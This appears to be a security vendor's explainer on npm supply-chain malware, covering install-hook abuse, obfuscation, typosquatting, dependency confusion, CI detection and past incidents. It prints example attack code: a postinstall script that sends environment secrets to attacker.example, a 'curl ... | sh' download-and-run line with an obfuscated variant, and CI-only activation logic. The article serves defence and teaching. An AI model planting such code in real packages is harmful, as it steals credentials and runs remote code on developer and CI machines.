The npm Attack Surface

npm is the world's largest software registry. A typical Node.js application has hundreds of transitive dependencies β€” packages your code never directly imports, but which run during installation and at runtime. This transitive trust chain is the primary attack vector for supply chain malware in the JavaScript ecosystem.

Unlike traditional malware, npm-delivered malware doesn't need to exploit a vulnerability. It simply needs to be installed. The moment a developer runs npm install, every package's scripts.preinstall, scripts.install, and scripts.postinstall hooks execute with the permissions of the installing user β€” often a CI service account with cloud credentials available as environment variables.

The fundamental problem: You don't choose to run npm install scripts β€” they run automatically. Unless you explicitly pass --ignore-scripts, you are executing arbitrary code from every package in your dependency tree, including packages added three levels deep by your dependencies' dependencies.

Install Script Malware

The postinstall hook is the most common malware delivery mechanism in npm packages. It runs automatically after package installation with no user prompt. Malicious packages use it to:

  • Exfiltrate environment variables β€” process.env contains AWS credentials, API tokens, and CI secrets in virtually every CI environment
  • Download second-stage payloads β€” the package itself is clean; the payload is fetched at install time to evade static analysis
  • Establish persistence β€” modify ~/.npmrc, add cron jobs, or inject into the project's build scripts
  • Fingerprint the environment β€” determine whether the install is on a developer machine or a CI system, then behave differently to evade sandbox detection
malicious package.json (postinstall hook)JSON
{
  "name": "useful-utility-lib",
  "scripts": {
    "postinstall": "node ./setup.js"  // executes at npm install
  }
}
// setup.js β€” environment exfiltration
const env = Object.fromEntries(
  Object.entries(process.env).filter(([k]) =>
    /token|secret|key|password|aws|gcp|azure/i.test(k)
  )
);
require('https').get(
  `https://attacker.example/c?d=${Buffer.from(JSON.stringify(env)).toString('base64')}`
);

CI environment variables are the primary target. GitHub Actions, GitLab CI, and Jenkins all inject cloud credentials, registry tokens, and deployment keys as environment variables. A malicious postinstall hook captures these before a single line of your application code executes.

Obfuscation Techniques

Malicious npm packages routinely evade automated scanners through obfuscation. Common techniques include:

String fragmentation and encoding

obfuscated payload constructionJavaScript
// Obvious form β€” detected by scanners
exec('curl https://attacker.example/payload | sh');

// Obfuscated β€” splits strings, uses char codes
const a = [99,117,114,108].map(c => String.fromCharCode(c)).join('');
const b = Buffer.from('aHR0cHM6Ly9hdHRhY2tlci5leGFtcGxlL3BheWxvYWQ=', 'base64').toString();
[a, b, '|', 'sh'].reduce((cmd, part) => require('child_process').exec(cmd + ' ' + part));

Environment-conditional execution

Sophisticated packages only activate in CI environments to avoid triggering on local developer machines where it's more likely to be noticed:

CI-conditional activationJavaScript
if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI) {
  // Only execute malicious payload in CI environments
  require('./ci-payload');
}

Typosquatting and Dependency Confusion

Two structural attacks require no compromise of a legitimate package:

Typosquatting

Registering packages with names that are common typos of popular packages. Examples from real incidents: crossenv (targeting cross-env), loadash (targeting lodash), babelcli (targeting babel-cli). A single typo in a package.json pulls in the attacker's package instead of the intended one.

Dependency confusion

If your organisation uses an internal npm registry with private packages, an attacker can register a public package with the same name at a higher version number. npm's default resolution fetches the higher-versioned public package instead of your internal one β€” without any typo required.

Dependency confusion is particularly dangerous in enterprises because internal package names are often discoverable through job postings, GitHub repositories, or error messages in public applications. Once an attacker knows your internal package names, the attack is straightforward.

Detection in CI/CD

Effective detection requires multiple layers:

  • Lock files β€” always commit package-lock.json or yarn.lock and verify it hasn't changed unexpectedly in CI
  • Script auditing β€” use npm install --ignore-scripts for dependency installs in CI, enabling scripts only for packages that explicitly require them
  • Supply chain scanners β€” tools like Socket.dev, AquilaX, and Snyk Code analyse package behaviour, not just known CVEs. A package added yesterday with a postinstall script that makes outbound network calls is suspicious regardless of whether it has a CVE.
  • Network egress controls β€” block outbound network calls from CI build steps; install steps should never need to reach the internet except for the registry itself
  • Integrity checks β€” npm's --audit flag checks known vulnerabilities; npm pack + manual review for critical dependencies
GitHub Actions β€” safe install stepYAML
- name: Install dependencies (scripts disabled)
  run: npm ci --ignore-scripts

- name: Scan for malicious packages
  run: npx @aquilax/scanner --supply-chain .

Real-World Incidents

npm malware incidents are not hypothetical. Notable examples:

  • event-stream (2018) β€” a popular package was handed to a malicious maintainer who added a dependency containing encrypted malware targeting cryptocurrency wallets
  • ua-parser-js (2021) β€” an attacker took over the npm account of the maintainer and published three versions containing coin miners and credential stealers; the package had 8 million weekly downloads
  • node-ipc (2022) β€” the maintainer deliberately added destructive code targeting Russian IP addresses in protest of the Ukraine invasion, affecting vue-cli and thousands of downstream packages
  • LofyGang (2022) β€” coordinated campaign of 200+ packages stealing Discord tokens and credit card data from developer machines

Common thread: all of these reached production at major organisations before detection. Signature-based scanning doesn't catch novel malware. Behavioural analysis of what a package actually does β€” network calls, file system writes, process spawning β€” is the detection mechanism that matters.